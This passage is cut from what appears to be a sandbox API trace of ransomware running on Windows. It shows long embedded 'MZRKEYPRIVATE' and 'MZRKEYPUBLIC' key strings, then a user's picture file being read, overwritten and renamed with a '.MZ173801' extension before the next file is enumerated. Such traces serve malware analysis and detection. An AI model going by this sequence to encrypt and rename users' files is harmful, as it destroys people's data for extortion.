DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24d21ec, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.511] GetCurrentThreadId () returned 0xab4 [0153.511] GetCurrentThreadId () returned 0xab4 [0153.511] GetCurrentThreadId () returned 0xab4 [0153.512] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.512] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24e324c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.512] GetCurrentThreadId () returned 0xab4 [0153.512] GetCurrentThreadId () returned 0xab4 [0153.512] GetCurrentThreadId () returned 0xab4 [0153.512] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\1yb8XS7Sv411u.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\1yb8xs7sv411u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.512] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0153.513] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.513] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x88c6 [0153.513] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.513] ReadFile (in: hFile=0x2f8, lpBuffer=0x24eb050, nNumberOfBytesToRead=0x88c6, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24eb050*, lpNumberOfBytesRead=0x19f74c*=0x88c6, lpOverlapped=0x0) returned 1 [0153.514] CloseHandle (hObject=0x2f8) returned 1 [0153.515] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\1yb8XS7Sv411u.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\1yb8xs7sv411u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.517] WriteFile (in: hFile=0x2f8, lpBuffer=0x24f5080*, nNumberOfBytesToWrite=0x88c6, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24f5080*, lpNumberOfBytesWritten=0x19f758*=0x88c6, lpOverlapped=0x0) returned 1 [0153.518] CloseHandle (hObject=0x2f8) returned 1 [0153.520] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\1yb8XS7Sv411u.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\1yb8xs7sv411u.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\1yb8XS7Sv411u.bmp.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\1yb8xs7sv411u.bmp.mz173801")) returned 1 [0153.521] GetCurrentThreadId () returned 0xab4 [0153.521] GetCurrentThreadId () returned 0xab4 [0153.521] GetCurrentThreadId () returned 0xab4 [0153.521] GetCurrentThreadId () returned 0xab4 [0153.521] GetCurrentThreadId () returned 0xab4 [0153.521] GetCurrentThreadId () returned 0xab4 [0153.521] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c6b040, ftCreationTime.dwHighDateTime=0x1d5e22a, ftLastAccessTime.dwLowDateTime=0xabf3da0, ftLastAccessTime.dwHighDateTime=0x1d5e23f, ftLastWriteTime.dwLowDateTime=0xabf3da0, ftLastWriteTime.dwHighDateTime=0x1d5e23f, nFileSizeHigh=0x0, nFileSizeLow=0x186be, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="aEhM511O8dO.png", cAlternateFileName="AEHM51~1.PNG")) returned 1 [0153.521] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.521] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.521] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\aEhM511O8dO.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\aehm511o8do.png"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c6b040, ftCreationTime.dwHighDateTime=0x1d5e22a, ftLastAccessTime.dwLowDateTime=0xabf3da0, ftLastAccessTime.dwHighDateTime=0x1d5e23f, ftLastWriteTime.dwLowDateTime=0xabf3da0, ftLastWriteTime.dwHighDateTime=0x1d5e23f, nFileSizeHigh=0x0, nFileSizeLow=0x186be)) returned 1 [0153.521] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\aEhM511O8dO.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\aehm511o8do.png")) returned 0x20 [0153.521] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\aEhM511O8dO.png", dwFileAttributes=0x80) returned 1 [0153.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24d21ec, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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